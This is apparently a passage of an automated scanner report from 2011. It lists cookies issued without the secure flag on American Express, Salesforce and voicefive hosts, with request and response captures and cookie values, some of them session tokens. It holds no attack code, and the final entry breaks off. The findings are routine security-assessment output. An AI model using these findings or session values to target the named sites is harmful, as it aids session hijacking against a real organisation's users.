9.20. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/privacystatement/internetprivacystatement.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/privacystatement/internetprivacystatement.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

dsmLive_JSESSIONID=0000U01HD7ILpMUGqR_UyygusU9:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dsmlive/dsm/dom/us/en/privacystatement/internetprivacystatement.do?vgnextoid=f25533fadb4ca110VgnVCM100000defaad94RCRD&vgnextchannel=9823f30b6b1ca110VgnVCM100000defaad94RCRD&us_nu=footer&source=footer_privacy_statement HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

9.21. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/smallbusiness/businesstravel/businesstravel.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/smallbusiness/businesstravel/businesstravel.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

dsmLive_JSESSIONID=00002CcYYbt_TpWnMDtRNICsW6f:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dsmlive/dsm/dom/us/en/smallbusiness/businesstravel/businesstravel.do HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:39 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=00002CcYYbt_TpWnMDtRNICsW6f:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 32770

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>
<title>404 Error Page</title><META name="keywords" content="404 Error Page"><META name="description" content="404
...[SNIP]...

9.22. https://www212.americanexpress.com/dsmlive/dsm/dom/us/merchants/nonsecure/acceptthecard.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/merchants/nonsecure/acceptthecard.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

dsmLive_JSESSIONID=0000ah4vhZojFRvbev9f5GE_A4A:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dsmlive/dsm/dom/us/merchants/nonsecure/acceptthecard.do HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:06 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=0000ah4vhZojFRvbev9f5GE_A4A:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 13749

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

...[SNIP]...

9.23. https://www212.americanexpress.com/dsmlive/dsm/dom/us/merchants/nonsecure/manageyouraccount.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/merchants/nonsecure/manageyouraccount.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

dsmLive_JSESSIONID=0000PTe6zKm28D31BsFXcYHD9d8:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dsmlive/dsm/dom/us/merchants/nonsecure/manageyouraccount.do HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:47 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=0000PTe6zKm28D31BsFXcYHD9d8:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 13749

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

...[SNIP]...

9.24. https://www212.americanexpress.com/dsmlive/dsm/int/contactus/personalsavings.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/int/contactus/personalsavings.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

dsmLive_JSESSIONID=0000fxhwIOrKDi2q99FOvTDSEpr:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dsmlive/dsm/int/contactus/personalsavings.do?vgnextoid=d752e13f929a7210VgnVCM100000defaad94RCRD&page=7&inav=iNavUtilContact HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

9.25. https://www212.americanexpress.com/dsmlive/dsm/int/fxip/fxinternationalpayments.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/int/fxip/fxinternationalpayments.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

dsmLive_JSESSIONID=0000gNZ28gvXI_sQMcByieAazU2:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dsmlive/dsm/int/fxip/fxinternationalpayments.do HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:10 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=0000gNZ28gvXI_sQMcByieAazU2:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 13749

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

...[SNIP]...

9.26. https://www212.americanexpress.com/dsmlive/dsm/int/us/en/cmaproductspage.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/int/us/en/cmaproductspage.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

dsmLive_JSESSIONID=00005KkxZLI1O88IVa_7J24YNHg:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dsmlive/dsm/int/us/en/cmaproductspage.do HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:19 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=00005KkxZLI1O88IVa_7J24YNHg:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 32770

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>
<title>404 Error Page</title><META name="keywords" content="404 Error Page"><META name="description" content="404
...[SNIP]...

9.27. https://www213.americanexpress.com/PowerLabsWeb/un/landingpage.htm previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www213.americanexpress.com
Path:	/PowerLabsWeb/un/landingpage.htm

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

JSESSIONID=00000YZCQTdcKvGRMYP-Rq79eWY:129nma7r7;Path=/
SaneID=173.193.214.243-1296944613478399; path=/; expires=Tue, 09-Feb-16 22:23:33 GMT; domain=.americanexpress.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /PowerLabsWeb/un/landingpage.htm HTTP/1.1
Host: www213.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:33 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944613478399; path=/; expires=Tue, 09-Feb-16 22:23:33 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=00000YZCQTdcKvGRMYP-Rq79eWY:129nma7r7;Path=/
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 81548

<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<META name="GENERATOR" content="IBM WebSphere Studio">
<META http-equiv="Content-Style-Ty
...[SNIP]...

9.28. https://www257.americanexpress.com/openhome/smallbusiness.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www257.americanexpress.com
Path:	/openhome/smallbusiness.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

JSESSIONID=0000uChEcdO9k6KqbMgMdp5Ow2Q:14t0oj3g0; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /openhome/smallbusiness.do HTTP/1.1
Host: www257.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:41 GMT
Server: IBM_HTTP_Server
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=0000uChEcdO9k6KqbMgMdp5Ow2Q:14t0oj3g0; Path=/
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 888

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.29. https://www295.americanexpress.com/entertainmentaccess/home.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www295.americanexpress.com
Path:	/entertainmentaccess/home.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

ehub_JSESSIONID=0000NpczdATYAiPRlcF0VGZHggr:1563unio9; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /entertainmentaccess/home.do HTTP/1.1
Host: www295.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:49 GMT
Server: IBM_HTTP_Server
Set-Cookie: ehub_JSESSIONID=0000NpczdATYAiPRlcF0VGZHggr:1563unio9; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 80280

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...

9.30. https://www295.americanexpress.com/premium/credit-card-travel-insurance/home.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www295.americanexpress.com
Path:	/premium/credit-card-travel-insurance/home.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

fsea_JSESSIONID=00008GQpyAcWkVMiczzEQLBcHuM:156jli7te; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /premium/credit-card-travel-insurance/home.do HTTP/1.1
Host: www295.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:45 GMT
Server: IBM_HTTP_Server
Set-Cookie: fsea_JSESSIONID=00008GQpyAcWkVMiczzEQLBcHuM:156jli7te; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Content-Length: 36699

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html>
   <head>


   <meta http-equiv="expires" CONTENT="Thu, 15 Apr 2010 20
...[SNIP]...

9.31. https://www295.americanexpress.com/premium/credit-report-monitoring/enquiry.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www295.americanexpress.com
Path:	/premium/credit-report-monitoring/enquiry.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

fsea_JSESSIONID=0000ax6luTP71CaQfFifYiUvIPV:156jli4a5; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /premium/credit-report-monitoring/enquiry.do?inav=menu_myacct_creditsecure HTTP/1.1
Host: www295.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:23:45 GMT
Server: IBM_HTTP_Server
Location: https://www99.americanexpress.com/myca/usermgt/us/action?request_type=authreg_PPLogin&lgnsrc=PP&Face=en_US&REDIRECT_URL=https%3A%2F%2Fwww295.americanexpress.com%2Fpremium%2Fcredit-report-monitoring%2Fenquiry.do%3FSC%3DL6L%26BC%3D0003%26PC%3D0001%26lgnsrc%3DPP%26Face%3Den_US
Content-Length: 0
Set-Cookie: fsea_JSESSIONID=0000ax6luTP71CaQfFifYiUvIPV:156jli4a5; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html
Content-Language: en-US

9.32. https://axptravel.americanexpress.com/consumertravel/travel.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://axptravel.americanexpress.com
Path:	/consumertravel/travel.do

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

SaneID=10.10.14.1-1296942630588713; Path=/; expires=Tue, 09-Feb-16 21:50:30 GMT; domain=.americanexpress.com, troute=w511; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/;domain=.americanexpress.com
NSC_nf3-x-sx-duouswm-b=ffffffff97a3d13a45525d5f4f58455e445a4a42bbfd;path=/
sroute=386796042.58404.0000; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /consumertravel/travel.do HTTP/1.1
Host: axptravel.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:50:30 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=10.10.14.1-1296942630588713; Path=/; expires=Tue, 09-Feb-16 21:50:30 GMT; domain=.americanexpress.com, troute=w511; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/;domain=.americanexpress.com
Set-Cookie: JSESSIONID=00000VUtlq7n518J8DPTSEC_QvW:15a6nn9du; Path=/; Secure
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Set-Cookie: NSC_nf3-x-sx-duouswm-b=ffffffff97a3d13a45525d5f4f58455e445a4a42bbfd;path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Connection: close
Set-Cookie: sroute=386796042.58404.0000; path=/
Vary: Accept-Encoding, User-Agent
Content-Length: 121548

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml2/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Am
...[SNIP]...

9.33. https://home.americanexpress.com/home/corporations.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://home.americanexpress.com
Path:	/home/corporations.shtml

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

SaneID=64.215.162.185-1296942649572222; path=/; expires=Tue, 09-Feb-16 21:50:49 GMT; domain=.americanexpress.com
bandwidthdetect=vhigh; expires=Mon, 07-Mar-2011 21:50:49 GMT; path=/; domain=.americanexpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /home/corporations.shtml HTTP/1.1
Host: home.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html
Expires: Sat, 05 Feb 2011 21:50:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 05 Feb 2011 21:50:49 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SaneID=64.215.162.185-1296942649572222; path=/; expires=Tue, 09-Feb-16 21:50:49 GMT; domain=.americanexpress.com
Set-Cookie: bandwidthdetect=vhigh; expires=Mon, 07-Mar-2011 21:50:49 GMT; path=/; domain=.americanexpress.com
Content-Length: 58419

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<TITLE>Corporate Credit Cards & Bus
...[SNIP]...

9.34. https://home.americanexpress.com/home/global_splash.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://home.americanexpress.com
Path:	/home/global_splash.html

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

bandwidthdetect=vhigh; expires=Mon, 07-Mar-2011 21:50:49 GMT; path=/; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /home/global_splash.html HTTP/1.1
Host: home.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Last-Modified: Fri, 26 Nov 2010 10:10:41 GMT
Server: IBM_HTTP_Server
Content-Type: text/html
Cache-Control: no-store
Expires: Sat, 05 Feb 2011 21:50:49 GMT
Date: Sat, 05 Feb 2011 21:50:49 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: bandwidthdetect=vhigh; expires=Mon, 07-Mar-2011 21:50:49 GMT; path=/; domain=.americanexpress.com
Content-Length: 37032

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>American Express</TITLE><META http-equiv=Content-Type content="text/html; charset=windows-1252">
<STYLE type='text/css
...[SNIP]...

9.35. https://home.americanexpress.com/home/mt_personal.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://home.americanexpress.com
Path:	/home/mt_personal.shtml

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

SaneID=64.215.162.185-1296942666498249; path=/; expires=Tue, 09-Feb-16 21:51:06 GMT; domain=.americanexpress.com
bandwidthdetect=vhigh; expires=Mon, 07-Mar-2011 21:51:06 GMT; path=/; domain=.americanexpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /home/mt_personal.shtml HTTP/1.1
Host: home.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html
Expires: Sat, 05 Feb 2011 21:51:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 05 Feb 2011 21:51:06 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SaneID=64.215.162.185-1296942666498249; path=/; expires=Tue, 09-Feb-16 21:51:06 GMT; domain=.americanexpress.com
Set-Cookie: bandwidthdetect=vhigh; expires=Mon, 07-Mar-2011 21:51:06 GMT; path=/; domain=.americanexpress.com
Content-Length: 47928

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>American Express Credit Card
...[SNIP]...

9.36. https://lct.salesforce.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://lct.salesforce.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

BIGipServerlct-pool=87351818.38687.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: lct.salesforce.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Resin/3.1.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
ETag: "AAAAAAAAAAA"
Last-Modified: Fri, 14 May 2010 01:40:56 GMT
Accept-Ranges: bytes
Content-Type: text/html
Content-Length: 0
Date: Sat, 05 Feb 2011 21:51:17 GMT
Connection: close
Set-Cookie: BIGipServerlct-pool=87351818.38687.0000; path=/

9.37. https://online.americanexpress.com/myca/acctsumm/us/action previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://online.americanexpress.com
Path:	/myca/acctsumm/us/action

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

SaneID=10.10.14.1-1296942696431338; Path=/; expires=Tue, 09-Feb-16 21:51:36 GMT; domain=.americanexpress.com
NSC_f3-nzdb-vt-bddutvnn-vt-5655=ffffffff97a3d0f645525d5f4f58455e445a4a42861c;path=/
sroute=923666954.58148.0000; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /myca/acctsumm/us/action HTTP/1.1
Host: online.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 21:51:36 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=10.10.14.1-1296942696431338; Path=/; expires=Tue, 09-Feb-16 21:51:36 GMT; domain=.americanexpress.com
Location: https://online.americanexpress.com/myca/acctsumm/us/en/en_US/common/SorryTemplate.jsp
Content-Length: 0
Set-Cookie: JSESSIONID=0000NnfvOa35QTQfEyBb8mjeDrj:14cr01edo; Path=/; Secure
Expires: 0
Cache-Control: no-cache,no-store
Set-Cookie: NSC_f3-nzdb-vt-bddutvnn-vt-5655=ffffffff97a3d0f645525d5f4f58455e445a4a42861c;path=/
Content-Type: text/html
Content-Language: en-US
Connection: close
Set-Cookie: sroute=923666954.58148.0000; path=/

9.38. https://sb.voicefive.com/b previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://sb.voicefive.com
Path:	/b

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

UID=4794bf8-184.50.222.110-1297008284; expires=Tue, 05-Feb-2013 16:04:44 GMT; path=/; domain=.voicefive.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /b HTTP/1.1
Host: sb.voicefive.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Content-Length: 0
Location: https://sb.voicefive.com/b2?
Date: Sun, 06 Feb 2011 16:04:44 GMT
Connection: close
Set-Cookie: UID=4794bf8-184.50.222.110-1297008284; expires=Tue, 05-Feb-2013 16:04:44 GMT; path=/; domain=.voicefive.com
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC"
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Pragma: no-cache
Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate
Server: CS

9.39. https://www.americanexpress.com/airlines-credit-card/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/airlines-credit-card/

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

SaneID=173.193.214.243-1296942781910061; path=/; expires=Tue, 09-Feb-16 21:53:01 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /airlines-credit-card/ HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:01 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296942781910061; path=/; expires=Tue, 09-Feb-16 21:53:01 GMT; domain=.americanexpress.com
Accept-Ranges: bytes
Cache-Control: max-age=-11633203
Expires: Fri, 24 Sep 2010 06:26:18 GMT
Connection: close
Content-Type: text/html
Content-Length: 33688

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content
...[SNIP]...

9.40. https://www.americanexpress.com/credit-card-rewards/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/credit-card-rewards/

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

SaneID=173.193.214.243-1296942782675560; path=/; expires=Tue, 09-Feb-16 21:53:02 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /credit-card-rewards/ HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:02 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296942782675560; path=/; expires=Tue, 09-Feb-16 21:53:02 GMT; domain=.americanexpress.com
Accept-Ranges: bytes
Cache-Control: max-age=-11633130
Expires: Fri, 24 Sep 2010 06:27:32 GMT
Connection: close
Content-Type: text/html
Content-Length: 34269

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content
...[SNIP]...

9.41. https://www.americanexpress.com/gift/giftcardslanding.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/gift/giftcardslanding.shtml

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

SaneID=173.193.214.243-1296942777855214; path=/; expires=Tue, 09-Feb-16 21:52:57 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /gift/giftcardslanding.shtml HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

9.42. https://www.americanexpress.com/gold-card/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/gold-card/

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

SaneID=173.193.214.243-1296942789184350; path=/; expires=Tue, 09-Feb-16 21:53:09 GMT; domain=.americanexpress.com

